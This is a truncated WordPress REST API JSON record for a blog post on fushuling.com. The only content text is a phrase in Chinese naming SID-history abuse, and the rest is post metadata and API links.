\/>\nSID\u5386\u53f2\u529f\u80fd\u6ee5\u7528<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[11],"tags":[],"class_list":["post-2263","post","type-post","status-publish","format-standard","hentry","category-11"],"_links":{"self":[{"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/posts\/2263","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/comments?post=2263"}],"version-history":[{"count":4,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/posts\/2263\/revisions"}],"predecessor-version":[{"id":2563,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/posts\/2263\/revisions\/2563"}],"wp:attachment":[{"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/media?parent=2263"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/categories?post=2263"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/tags?post=2263"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}